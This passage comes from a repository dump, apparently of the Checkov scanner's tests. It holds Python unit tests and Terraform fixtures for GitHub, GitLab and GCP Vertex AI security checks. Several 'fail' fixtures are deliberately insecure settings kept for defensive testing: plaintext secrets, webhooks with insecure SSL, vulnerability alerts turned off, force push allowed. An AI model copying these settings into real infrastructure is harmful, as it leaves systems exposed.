    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.VertexAINotebookEnsureIntegrityMonitoring import check\nfrom checkov.terraform.runner import Runner\n\nclass TestVertexAINotebookEnsureIntegrityMonitoring(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_VertexAINotebookEnsureIntegrityMonitoring\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_notebooks_instance.pass\",\n        }\n        failing_resources = {\n            \"google_notebooks_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_VertexAIPrivateInstance.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.VertexAIPrivateInstance import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVertexAIPrivateInstance(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_VertexAIPrivateInstance\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_notebooks_instance.pass1',\n        }\n        failing_resources = {\n            'google_notebooks_instance.fail1',\n            'google_notebooks_instance.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/github/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/github/example_BranchProtectionRequireSignedCommits/main.tf",
    "content": "resource \"github_branch_protection_v3\" \"fail\" {\n  repository     = github_repository.example.name\n  branch         = \"main\"\n  enforce_admins = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews = true\n    dismissal_users       = [\"foo-user\"]\n    dismissal_teams       = [github_team.example.slug]\n  }\n\n  restrictions {\n    users = [\"foo-user\"]\n    teams = [github_team.example.slug]\n    apps  = [\"foo-app\"]\n  }\n}\n\nresource \"github_branch_protection_v3\" \"fail2\" {\n  repository     = github_repository.example.name\n  branch         = \"main\"\n  enforce_admins = true\n  require_signed_commits = false\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews = true\n    dismissal_users       = [\"foo-user\"]\n    dismissal_teams       = [github_team.example.slug]\n    required_approving_review_count = 1\n  }\n\n  restrictions {\n    users = [\"foo-user\"]\n    teams = [github_team.example.slug]\n    apps  = [\"foo-app\"]\n  }\n}\n\nresource \"github_branch_protection_v3\" \"pass\" {\n  repository     = github_repository.example.name\n  branch         = \"main\"\n  enforce_admins = true\n  require_signed_commits = true\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews = true\n    dismissal_users       = [\"foo-user\"]\n    dismissal_teams       = [github_team.example.slug]\n    required_approving_review_count = 2\n  }\n\n  restrictions {\n    users = [\"foo-user\"]\n    teams = [github_team.example.slug]\n    apps  = [\"foo-app\"]\n  }\n}\n\n\nresource \"github_branch_protection\" \"fail\" {\n  repository_id = github_repository.example.node_id\n  # also accepts repository name\n  # repository_id  = github_repository.example.name\n\n  pattern          = \"main\"\n  enforce_admins   = true\n  allows_deletions = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews  = true\n    restrict_dismissals    = true\n    dismissal_restrictions = [\n      data.github_user.example.node_id,\n      github_team.example.node_id,\n    ]\n  }\n\n  push_restrictions = [\n    data.github_user.example.node_id,\n    # limited to a list of one type of restriction (user, team, app)\n    # github_team.example.node_id\n  ]\n\n}\n\n\nresource \"github_branch_protection\" \"fail2\" {\n  repository_id = github_repository.example.node_id\n  # also accepts repository name\n  # repository_id  = github_repository.example.name\n\n  pattern          = \"main\"\n  enforce_admins   = true\n  allows_deletions = true\n  require_signed_commits = false\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews  = true\n    restrict_dismissals    = true\n    dismissal_restrictions = [\n      data.github_user.example.node_id,\n      github_team.example.node_id,\n    ]\n    required_approving_review_count = 1\n  }\n\n  push_restrictions = [\n    data.github_user.example.node_id,\n    # limited to a list of one type of restriction (user, team, app)\n    # github_team.example.node_id\n  ]\n\n}\n\nresource \"github_branch_protection\" \"pass\" {\n  repository_id = github_repository.example.node_id\n  # also accepts repository name\n  # repository_id  = github_repository.example.name\n\n  pattern          = \"main\"\n  enforce_admins   = true\n  allows_deletions = true\n  require_signed_commits = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews  = true\n    restrict_dismissals    = true\n    dismissal_restrictions = [\n      data.github_user.example.node_id,\n      github_team.example.node_id,\n    ]\n    required_approving_review_count = 1\n  }\n\n  push_restrictions = [\n    data.github_user.example.node_id,\n    # limited to a list of one type of restriction (user, team, app)\n    # github_team.example.node_id\n  ]\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/github/example_BranchProtectionReviewNumTwo/main.tf",
    "content": "resource \"github_branch_protection_v3\" \"fail\" {\n  repository     = github_repository.example.name\n  branch         = \"main\"\n  enforce_admins = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews = true\n    dismissal_users       = [\"foo-user\"]\n    dismissal_teams       = [github_team.example.slug]\n  }\n\n  restrictions {\n    users = [\"foo-user\"]\n    teams = [github_team.example.slug]\n    apps  = [\"foo-app\"]\n  }\n}\nresource \"github_branch_protection_v3\" \"fail2\" {\n  repository     = github_repository.example.name\n  branch         = \"main\"\n  enforce_admins = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews = true\n    dismissal_users       = [\"foo-user\"]\n    dismissal_teams       = [github_team.example.slug]\n    required_approving_review_count = 1\n  }\n\n  restrictions {\n    users = [\"foo-user\"]\n    teams = [github_team.example.slug]\n    apps  = [\"foo-app\"]\n  }\n}\n\nresource \"github_branch_protection_v3\" \"pass\" {\n  repository     = github_repository.example.name\n  branch         = \"main\"\n  enforce_admins = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews = true\n    dismissal_users       = [\"foo-user\"]\n    dismissal_teams       = [github_team.example.slug]\n    required_approving_review_count = 2\n  }\n\n  restrictions {\n    users = [\"foo-user\"]\n    teams = [github_team.example.slug]\n    apps  = [\"foo-app\"]\n  }\n}\n\n\nresource \"github_branch_protection\" \"fail\" {\n  repository_id = github_repository.example.node_id\n  # also accepts repository name\n  # repository_id  = github_repository.example.name\n\n  pattern          = \"main\"\n  enforce_admins   = true\n  allows_deletions = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews  = true\n    restrict_dismissals    = true\n    dismissal_restrictions = [\n      data.github_user.example.node_id,\n      github_team.example.node_id,\n    ]\n  }\n\n  push_restrictions = [\n    data.github_user.example.node_id,\n    # limited to a list of one type of restriction (user, team, app)\n    # github_team.example.node_id\n  ]\n\n}\n\n\nresource \"github_branch_protection\" \"fail2\" {\n  repository_id = github_repository.example.node_id\n  # also accepts repository name\n  # repository_id  = github_repository.example.name\n\n  pattern          = \"main\"\n  enforce_admins   = true\n  allows_deletions = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews  = true\n    restrict_dismissals    = true\n    dismissal_restrictions = [\n      data.github_user.example.node_id,\n      github_team.example.node_id,\n    ]\n    required_approving_review_count = 1\n  }\n\n  push_restrictions = [\n    data.github_user.example.node_id,\n    # limited to a list of one type of restriction (user, team, app)\n    # github_team.example.node_id\n  ]\n\n}\n\nresource \"github_branch_protection\" \"pass\" {\n  repository_id = github_repository.example.node_id\n  # also accepts repository name\n  # repository_id  = github_repository.example.name\n\n  pattern          = \"main\"\n  enforce_admins   = true\n  allows_deletions = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews  = true\n    restrict_dismissals    = true\n    dismissal_restrictions = [\n      data.github_user.example.node_id,\n      github_team.example.node_id,\n    ]\n    required_approving_review_count = 2\n  }\n\n  push_restrictions = [\n    data.github_user.example.node_id,\n    # limited to a list of one type of restriction (user, team, app)\n    # github_team.example.node_id\n  ]\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/github/example_RepositoryEnableVulnerabilityAlerts/main.tf",
    "content": "resource \"github_repository\" \"fail\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility = \"public\"\n\n  template {\n    owner      = \"github\"\n    repository = \"terraform-module-template\"\n  }\n  vulnerability_alerts = false\n}\n\nresource \"github_repository\" \"pass\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility = \"public\"\n\n  template {\n    owner      = \"github\"\n    repository = \"terraform-module-template\"\n  }\n  vulnerability_alerts = true\n}\n\nresource \"github_repository\" \"pass3\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility = \"private\"\n\n  template {\n    owner      = \"github\"\n    repository = \"terraform-module-template\"\n  }\n  vulnerability_alerts = true\n}\n\n\nresource \"github_repository\" \"pass2\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility = \"public\"\n\n  template {\n    owner      = \"github\"\n    repository = \"terraform-module-template\"\n  }\n}\n\nresource \"github_repository\" \"fail2\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility = \"private\"\n\n  template {\n    owner      = \"github\"\n    repository = \"terraform-module-template\"\n  }\n}\n\nresource \"github_repository\" \"pass4\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility = \"public\"\n  archived   = true\n\n  template {\n    owner      = \"github\"\n    repository = \"terraform-module-template\"\n  }\n  vulnerability_alerts = false\n}\n\nresource \"github_repository\" \"pass5\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility = \"private\"\n  archived   = true\n\n  template {\n    owner      = \"github\"\n    repository = \"terraform-module-template\"\n  }\n  vulnerability_alerts = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/github/example_SecretsEncrypted/main.tf",
    "content": "\nresource \"github_actions_environment_secret\" \"fail\" {\n  environment       = \"example_environment\"\n  secret_name       = \"example_secret_name\"\n  plaintext_value   = \"INTHECLEAR\"\n}\n\n\nresource \"github_actions_environment_secret\" \"pass\" {\n  environment       = \"example_environment\"\n  secret_name       = \"example_secret_name\"\n  encrypted_value   = \"WOULDBEENCRYPTED\"\n}\n\n\nresource \"github_actions_organization_secret\" \"fail\" {\n  environment       = \"example_environment\"\n  secret_name       = \"example_secret_name\"\n  plaintext_value   = \"INTHECLEAR\"\n}\n\n\nresource \"github_actions_organization_secret\" \"pass\" {\n  environment       = \"example_environment\"\n  secret_name       = \"example_secret_name\"\n  encrypted_value   = \"WOULDBEENCRYPTED\"\n}\n\n\nresource \"github_actions_secret\" \"fail\" {\n  environment       = \"example_environment\"\n  secret_name       = \"example_secret_name\"\n  plaintext_value   = \"INTHECLEAR\"\n}\n\n\nresource \"github_actions_secret\" \"pass\" {\n  environment       = \"example_environment\"\n  secret_name       = \"example_secret_name\"\n  encrypted_value   = \"WOULDBEENCRYPTED\"\n}\n\nresource \"github_actions_organization_secret\" \"pass_empty_value\" {\n  environment       = \"example_environment\"\n  secret_name       = \"example_secret_name\"\n  encrypted_value   = \"WOULDBEENCRYPTED\"\n  plaintext_value   = \"\"\n}\n\n# value ref\n\nresource \"azuread_service_principal_password\" \"gh_actions\" {\n  service_principal_id = azuread_service_principal.gh_actions.object_id\n}\n\nresource \"github_actions_secret\" \"value_ref\" {\n  repository       = \"example_repository\"\n  secret_name      = \"example_secret_name\"\n  plaintext_value  = azuread_service_principal_password.gh_actions.value\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/github/test_BranchProtectionRequiredSignedCommits.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.github.BranchProtectionRequireSignedCommits import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBranchProtectionRequireSignedCommits(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_BranchProtectionRequireSignedCommits\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"github_branch_protection_v3.pass\",\n            \"github_branch_protection.pass\",\n        }\n        failing_resources = {\n            \"github_branch_protection_v3.fail\",\n            \"github_branch_protection_v3.fail2\",\n            \"github_branch_protection.fail\",\n            \"github_branch_protection.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/github/test_BranchProtectionReviewNumTwo.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.github.BranchProtectionReviewNumTwo import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBranchProtectionReviewNumTwo(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_BranchProtectionReviewNumTwo\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"github_branch_protection_v3.pass\",\n            \"github_branch_protection.pass\",\n        }\n        failing_resources = {\n            \"github_branch_protection_v3.fail\",\n            \"github_branch_protection_v3.fail2\",\n            \"github_branch_protection.fail\",\n            \"github_branch_protection.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/github/test_PrivateRepo.py",
    "content": "import unittest\n\nimport hcl2\nfrom checkov.terraform.checks.resource.github.PrivateRepo import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPrivateRepo(unittest.TestCase):\n\n    def test_success_private_true(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository\" \"test\" {\n            description   = \"test repo\"\n            name          = \"test\"\n            private       = true\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_visibility_private(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository\" \"test\" {\n            description   = \"test repo\"\n            name          = \"test\"\n            visibility    = \"private\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_visibility_internal(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository\" \"test\" {\n            description   = \"test repo\"\n            name          = \"test\"\n            visibility    = \"internal\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_private_false(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository\" \"test\" {\n            description   = \"test repo\"\n            name          = \"test\"\n            private       = false\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_default(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository\" \"test\" {\n            description   = \"test repo\"\n            name          = \"test\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_visibility_public(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository\" \"test\" {\n            description   = \"test repo\"\n            name          = \"test\"\n            visibility    = \"public\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/github/test_RepositoryVulnerabilityAlerts.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.github.RepositoryEnableVulnerabilityAlerts import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRepositoryEnableVulnerabilityAlerts(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RepositoryEnableVulnerabilityAlerts\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"github_repository.pass\",\n            \"github_repository.pass2\",\n            \"github_repository.pass3\",\n            \"github_repository.pass4\",\n            \"github_repository.pass5\",\n        }\n        failing_resources = {\n            \"github_repository.fail\",\n            \"github_repository.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 5)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/github/test_SecretsEncrypted.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.github.SecretsEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecretsEncrypted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecretsEncrypted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"github_actions_environment_secret.pass\",\n            \"github_actions_organization_secret.pass\",\n            \"github_actions_organization_secret.pass_empty_value\",\n            \"github_actions_secret.pass\",\n        }\n        failing_resources = {\n            \"github_actions_environment_secret.fail\",\n            \"github_actions_organization_secret.fail\",\n            \"github_actions_secret.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        # github_actions_secret.value_ref is dependent on azuread_service_principal_password.gh_actions\n        self.assertEqual(summary[\"resource_count\"], 9)  # 2 extra\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/github/test_WebhookInsecureSsl.py",
    "content": "import unittest\n\nimport hcl2\nfrom checkov.terraform.checks.resource.github.WebhookInsecureSsl import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestWebhookInsecureSsl(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository_webhook\" \"foo\" {\n        repository = github_repository.repo.name\n        name = \"web\"\n        configuration {\n            insecure_ssl = false\n        }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository_webhook']['foo']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"github_repository_webhook\" \"foo\" {\n        repository = github_repository.repo.name\n        name = \"web\"\n        configuration {\n            insecure_ssl = true\n        }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['github_repository_webhook']['foo']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/example_ForcePushDisabled/main.tf",
    "content": "resource \"gitlab_branch_protection\" \"pass\" {\n  project                      = \"12345\"\n  branch                       = \"BranchProtected\"\n  push_access_level            = \"developer\"\n  merge_access_level           = \"developer\"\n  unprotect_access_level       = \"developer\"\n  allow_force_push             = false\n  code_owner_approval_required = true\n  allowed_to_push {\n    user_id = 5\n  }\n  allowed_to_push {\n    user_id = 521\n  }\n  allowed_to_merge {\n    user_id = 15\n  }\n  allowed_to_merge {\n    user_id = 37\n  }\n  allowed_to_unprotect {\n    user_id = 15\n  }\n  allowed_to_unprotect {\n    group_id = 42\n  }\n}\n\nresource \"gitlab_branch_protection\" \"pass2\" {\n  project                      = \"12345\"\n  branch                       = \"BranchProtected\"\n  push_access_level            = \"developer\"\n  merge_access_level           = \"developer\"\n  unprotect_access_level       = \"developer\"\n  code_owner_approval_required = true\n  allowed_to_push {\n    user_id = 5\n  }\n  allowed_to_push {\n    user_id = 521\n  }\n  allowed_to_merge {\n    user_id = 15\n  }\n  allowed_to_merge {\n    user_id = 37\n  }\n  allowed_to_unprotect {\n    user_id = 15\n  }\n  allowed_to_unprotect {\n    group_id = 42\n  }\n}\n\nresource \"gitlab_branch_protection\" \"fail\" {\n  project                      = \"12345\"\n  branch                       = \"BranchProtected\"\n  push_access_level            = \"developer\"\n  merge_access_level           = \"developer\"\n  unprotect_access_level       = \"developer\"\n  allow_force_push             = true\n  code_owner_approval_required = true\n  allowed_to_push {\n    user_id = 5\n  }\n  allowed_to_push {\n    user_id = 521\n  }\n  allowed_to_merge {\n    user_id = 15\n  }\n  allowed_to_merge {\n    user_id = 37\n  }\n  allowed_to_unprotect {\n    user_id = 15\n  }\n  allowed_to_unprotect {\n    group_id = 42\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/example_PreventSecretsEnabled/main.tf",
    "content": "resource \"gitlab_project\" \"pass\" {\n  name = \"example-two\"\n\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = true\n  }\n}\n\nresource \"gitlab_project\" \"fail\" {\n  name        = \"example\"\n  description = \"My awesome codebase\"\n\n  visibility_level = \"public\"\n}\n\nresource \"gitlab_project\" \"fail2\" {\n  name = \"example-two\"\n\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/example_RejectUnsignedCommits/main.tf",
    "content": "resource \"gitlab_project\" \"fail\" {\n  name = \"example-two\"\n\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = true\n  }\n}\n\nresource \"gitlab_project\" \"fail2\" {\n  name = \"example-two\"\n\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = true\n    reject_unsigned_commits = false\n  }\n}\n\nresource \"gitlab_project\" \"pass\" {\n  name = \"example-two\"\n\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = true\n    reject_unsigned_commits = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/example_RequireTwoApprovalsToMerge/main.tf",
    "content": "resource \"gitlab_project\" \"fail\" {\n  name = \"example-two\"\n\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = true\n  }\n}\n\nresource \"gitlab_project\" \"fail2\" {\n  name = \"example-two\"\n  approvals_before_merge = 1\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = true\n  }\n}\n\nresource \"gitlab_project\" \"pass\" {\n  name = \"example-two\"\n  approvals_before_merge = 2\n\n  push_rules {\n    author_email_regex     = \"@example\\\\.com$\"\n    commit_committer_check = true\n    member_check           = true\n    prevent_secrets        = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/test_ForcePushDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gitlab.ForcePushDisabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestForcePushDisabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ForcePushDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"gitlab_branch_protection.pass\",\n            \"gitlab_branch_protection.pass2\",\n        }\n        failing_resources = {\n            \"gitlab_branch_protection.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/test_PreventSecretsEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gitlab.PreventSecretsEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPreventSecretsEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PreventSecretsEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"gitlab_project.pass\",\n        }\n        failing_resources = {\n            \"gitlab_project.fail\",\n            \"gitlab_project.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/test_RejectUnsignedCommits.py",
